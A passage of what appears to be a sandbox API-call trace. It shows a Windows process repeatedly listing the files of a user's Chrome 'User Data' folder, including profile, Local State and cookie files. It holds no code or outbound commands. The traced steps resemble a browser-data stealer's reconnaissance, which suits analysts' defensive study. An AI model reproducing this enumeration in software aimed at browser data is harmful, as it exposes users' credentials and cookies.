ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4aa60657, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.940] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0195.941] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.941] FindClose (in: hFindFile=0x139b138 | out: hFindFile=0x139b138) returned 1 [0195.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.941] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", nBufferLength=0x105, lpBuffer=0x12feac8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", lpFilePart=0x0) returned 0x35 [0195.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefe0) returned 1 [0195.941] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", nBufferLength=0x105, lpBuffer=0x12fea94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", lpFilePart=0x0) returned 0x35 [0195.941] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x12fed08 | out: lpFindFileData=0x12fed08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b1f8 [0195.941] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.941] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52059d83, ftCreationTime.dwHighDateTime=0x1d5c554, ftLastAccessTime.dwLowDateTime=0x52059d83, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x52059d83, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x4578, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificate Revocation Lists", cAlternateFileName="CERTIF~2")) returned 1 [0195.941] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0195.941] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a8a90d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x181b8ac2, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x181b8ac2, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~2.PMA")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a31767e, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a31c47f, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbda42988, ftCreationTime.dwHighDateTime=0x1d5c554, ftLastAccessTime.dwLowDateTime=0xbda42988, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0xbda42988, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x6cec5, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US-7-1.bdic", cAlternateFileName="EN-US-~1.BDI")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5113f4c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b9a7a7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a1c3f11, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a1d9e89, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x1f439, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2de7be03, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x2de7be03, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing", cAlternateFileName="SAFEBR~1")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89703bc7, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89703bc7, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x8e328d54, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAD104~1")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89703bc7, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89703bc7, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x8e34ef7e, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAA614~1")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89075481, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89075481, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x895d2885, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SA1DA3~1")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89075481, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89075481, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x895f8ae9, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAE914~1")) returned 1 [0195.942] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0195.943] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Subresource Filter", cAlternateFileName="SUBRES~1")) returned 1 [0195.943] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0195.943] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0195.943] FindNextFileW (in: hFindFile=0x139b1f8, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0195.943] FindClose (in: hFindFile=0x139b1f8 | out: hFindFile=0x139b1f8) returned 1 [0195.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef9c) returned 1 [0195.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefa8) returned 1 [0195.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef80) returned 1 [0195.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", nBufferLength=0x105, lpBuffer=0x12fea34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data", lpFilePart=0x0) returned 0x35 [0195.943] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\*", lpFindFileData=0x12feca8 | out: lpFindFileData=0x12feca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0195.943] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a2c1db7, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a5b9542, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.943] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52059d83, ftCreationTime.dwHighDateTime=0x1d5c554, ftLastAccessTime.dwLowDateTime=0x52059d83, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x52059d83, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x4578, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificate Revocation Lists", cAlternateFileName="CERTIF~2")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a8a90d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x181b8ac2, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x181b8ac2, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~2.PMA")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a31767e, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a31c47f, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbda42988, ftCreationTime.dwHighDateTime=0x1d5c554, ftLastAccessTime.dwLowDateTime=0xbda42988, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0xbda42988, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x6cec5, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US-7-1.bdic", cAlternateFileName="EN-US-~1.BDI")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5113f4c1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56b9a7a7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a1c3f11, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a1d9e89, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x1f439, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2de7be03, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x2de7be03, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing", cAlternateFileName="SAFEBR~1")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89703bc7, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89703bc7, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x8e328d54, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAD104~1")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89703bc7, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x89703bc7, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x8e34ef7e, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAA614~1")) returned 1 [0195.944] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: 